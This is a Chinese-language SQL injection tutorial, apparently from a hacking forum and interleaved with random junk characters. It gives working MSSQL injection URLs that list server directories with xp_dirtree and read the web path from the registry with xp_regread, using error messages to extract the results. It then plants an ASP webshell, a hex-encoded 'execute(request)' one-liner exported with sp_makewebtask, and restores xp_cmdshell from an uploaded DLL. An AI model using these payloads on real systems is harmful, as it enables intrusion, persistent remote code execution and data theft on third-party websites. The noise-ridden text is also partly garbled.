好,我们exec master..xp_dirtree'd:/test'
5 o6 v4 M7 B# @0 {; x. p假设我们在test里有两个文件夹test1和test2在test1里又有test3
, H6 r! q- m* ~$ ?! p结果显示; Y7 N& I, S6 b& o4 W
9 a* U: p2 B" Rsubdirectory depth
. d3 {* _) \$ j- q6 u7 s$ Htest1 12 n& i$ W( f1 k5 O: g3 P' u" h
test3 2
6 D3 J+ N! Y- P9 F! R; qtest2 1
! P6 P6 S# Z) L+ { ], n+ H3 a5 x* B2 Q: K" y
哈哈发现没有那个depth就是目录的级数
, e% Z: U! B' ~; nok了,知道怎么办了吧
2 @7 p9 e0 a+ T% V# D" P
+ ~, d! W8 t5 D! }: D1 rhttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
; Q( M4 d8 L4 h; P$ Thttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- 8 T1 Z" a2 s' `, E
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
# X9 l! j, Y/ J* C2 |. Z
4 u0 F4 L0 z: A只要加上id=1,就是第一级目录 。, f. q) i7 V; [# j$ X; M7 Z! `+ ?2 @
; e9 M, ] Q$ u R
3 a- P5 K$ q' l+ o! Z; r- b+ h通过注册表读网站路径:) F+ _: y' R) l4 ^
2 L- u& G5 @0 X/ [
1.;create table [dbo].[cyfd] ([gyfd][char](255));
7 _% X- M, J- @& Q, i* D+ @
) n% N+ b+ C5 j2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--$ i6 L7 q5 b4 H
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
! s2 t7 s2 O: [+ ~4 X2 d2 y# f- @
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
# L N4 |3 p! R3 Iand 1=(select count(*) from cyfd where gyfd > 1) # s5 ?% u0 E2 [" V$ N/ P( \# I
这样IE报错,就把刚才插进去的Web路径的值报出来了
6 e' P7 z* g' T$ u7 ?. u& C7 i6 h$ W4 {1 C/ c; a
4.drop table cyfd;-- 删除临时表; G- V8 s# B& {1 R
9 v6 o. _7 V. E8 ]) ~7 q
获得webshell方法:
2 p3 Q5 J; R; `1.create table cmd (a image)-- \**cmd是创建的临时表
0 E4 A5 A G6 \. Z; b3 V! t- h0 _/ o, {: A
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
@0 G6 f$ T6 x9 f. Y
2 I5 C6 _$ X! s
. o5 T; M" k, f- W/ S, G% n& j3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd': c0 t( F! K9 ~9 K% b1 O# K) ]+ F
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
$ C h% O% u* E# f1 R
: f9 U: t, ^' ]0 n& {& r' \4.drop table cmd;-- 删除cmd临时表. r1 w6 y6 `3 g* \
# `$ L5 A1 a% g
恢复xp_cmdshell方法之一:
$ N) m8 Q6 ~* I4 w$ K+ M我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
) i; g6 j# [' T0 b+ q7 chttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
1 J Q; c( d1 J4 P8 _恢复,支持绝对路径的恢复哦。:)
" a' j* D5 }6 D; S |